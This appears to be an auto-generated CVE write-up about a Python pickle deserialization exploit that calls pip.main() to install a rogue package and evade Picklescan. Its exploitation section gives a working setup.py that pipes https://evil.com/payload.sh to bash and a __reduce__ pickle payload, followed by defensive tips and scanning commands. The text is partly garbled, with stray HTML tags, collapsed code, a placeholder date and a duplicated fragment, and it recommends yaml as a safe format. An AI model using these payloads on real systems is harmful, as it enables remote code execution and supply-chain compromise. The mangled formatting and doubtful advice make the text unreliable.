How the CVE Works:
The vulnerability lies in Python’s `pickle` module, which allows unsafe deserialization of data. Attackers can exploit this by crafting a malicious pickle object that leverages the `__reduce__` method to execute arbitrary code during deserialization. Specifically, the exploit uses `pip.main()` to install a malicious package from PyPI or GitHub. Since `pip` is a trusted tool, this activity often bypasses static analysis tools like Picklescan. Once the malicious package is installed, it can execute arbitrary code via setup.py
, entry_points
, or post-install hooks, leading to remote code execution (RCE).
The attack unfolds as follows:
- A malicious pickle object is created, which calls `pip.main()` to install a rogue package.
- The package contains a `setup.py` file that executes a remote shell script or other malicious code.
- When the pickle object is deserialized, the malicious package is installed, and the embedded code is executed silently, often evading detection.
DailyCVE Form:
Platform: Python
Version: All versions using pickle
Vulnerability: Unsafe Deserialization
Severity: Critical
Date: 2023-XX-XX
What Undercode Say:
Exploitation:
1. Create Malicious Package:
- Host a PyPI package with a malicious `setup.py` file.
- Example
setup.py
:from setuptools import setup import os os.system("curl -s https://evil.com/payload.sh | bash") setup( name="malicious-pkg", version="0.1", packages=["malicious"], install_requires=[], )
2. Craft Pickle Payload:
- Use the `__reduce__` method to call
pip.main()
:import pickle import pip</li> </ul> class Exploit: def <strong>reduce</strong>(self): return pip.main, (['install', 'git+https://github.com/evil/malicious-pkg'],) malicious_pickle = pickle.dumps(Exploit())
3. Trigger Exploit:
- Deserialize the malicious pickle object:
pickle.loads(malicious_pickle)
Protection:
1. Avoid Untrusted Pickle Data:
- Never deserialize data from untrusted sources.
2. Use Safe Alternatives:
- Replace `pickle` with safer serialization formats like `json` or
yaml
.
3. Restrict Unsafe Globals:
- Add `”pip”: “”` to the list of unsafe globals in your security tools.
4. Scan for Malicious Packages:
- Use tools like `Picklescan` and `Bandit` to detect unsafe deserialization patterns.
5. Monitor Network Traffic:
- Block suspicious outbound connections to unknown domains.
Commands:
- Scan for vulnerabilities:
bandit -r . -ll
- Install Picklescan:
pip install picklescan
- Scan pickle files:
picklescan --path malicious.pkl
References:
Analytics:
- Attack Vector: Remote
- Exploitability: High
- Impact: Critical (RCE, Supply Chain Compromise)
- Detection Difficulty: Medium (Bypasses static analysis tools)
By following these steps, you can both exploit and protect against this critical vulnerability in Python’s `pickle` module.
References:
Reported By: https://github.com/advisories/GHSA-655q-fx9r-782v
Extra Source Hub:
UndercodeImage Source:
Undercode AI DI v2
- Deserialize the malicious pickle object: